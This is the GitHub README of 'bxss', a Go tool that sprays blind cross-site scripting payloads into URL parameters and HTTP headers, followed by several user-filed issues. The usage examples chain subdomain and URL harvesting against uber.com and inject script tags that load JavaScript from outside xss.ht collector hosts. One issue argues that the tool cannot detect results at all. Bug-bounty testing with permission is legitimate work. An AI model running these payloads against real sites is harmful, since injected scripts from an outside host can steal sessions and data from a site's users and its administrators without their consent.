ethicalhackingplayground / bxss

Version 1.0

😎 Bxss 😎

A Blind XSS Injector tool

Features

• Inject Blind XSS payloads into custom headers
• Inject Blind XSS payloads into parameters
• Uses Different Request Methods (PUT,POST,GET,OPTIONS) all at once
• Tool Chaining
• Really fast
• Easy to setup

Install

$ go get -u github.com/ethicalhackingplayground/bxss

Arguments

          ____
         |  _ \
         | |_) |_  _____ ___
         |  _ <\ \/ / __/ __|
         | |_) |>  <\__ \__ \
         |____//_/\_\___/___/


        -- Coded by @z0idsec --
  -appendMode
        Append the payload to the parameter
  -concurrency int
        Set the concurrency (default 30)
  -header string
        Set the custom header (default "User-Agent")
  -parameters
        Test the parameters for blind xss
  -payload string
        the blind XSS payload
        

Blind XSS In Parameters

$ subfinder uber.com | gau | grep "&" | bxss -appendMode -payload '"><script src=https://hacker.xss.ht></script>' -parameters

Blind XSS In X-Forwarded-For Header

$ subfinder uber.com | gau | bxss -payload '"><script src=https://z0id.xss.ht></script>' -header "X-Forwarded-For"

If you get a bounty please support by buying me a coffee

bxss's Issues

Great Work

Great work. but i wish if you can add option that allows adding multiple headers not just one.

License?

Respected author, please add a license

Does the tool able to check paramaters and headers in the same time

i wonder if the tool is able to check paramaters and headers in the same time for example using
-appendmode -parameters and -headers in the same time ?

Honestly, I don't think it works

I read your code. it seems you are trying to insert xss payloads into parameters and headers. However you didn't check any response for the potential reflected value.
Maybe you are trying to use xsshunter platform to receive message(as you mentioned, find blinding xss), but the fact is, there's no browser involved in and golang http client will not render javascript and html. In other words, if there are vulnerabilities, you will miss them.
Prove me if I'm wrong.

Suggestion for better result

Edit

Install command do nothing, need help !

I had installed go version go1.15.3 linux/amd64, but go get -u github.com/ethicalhackingplayground/bxss do nothing.
How to install it please ?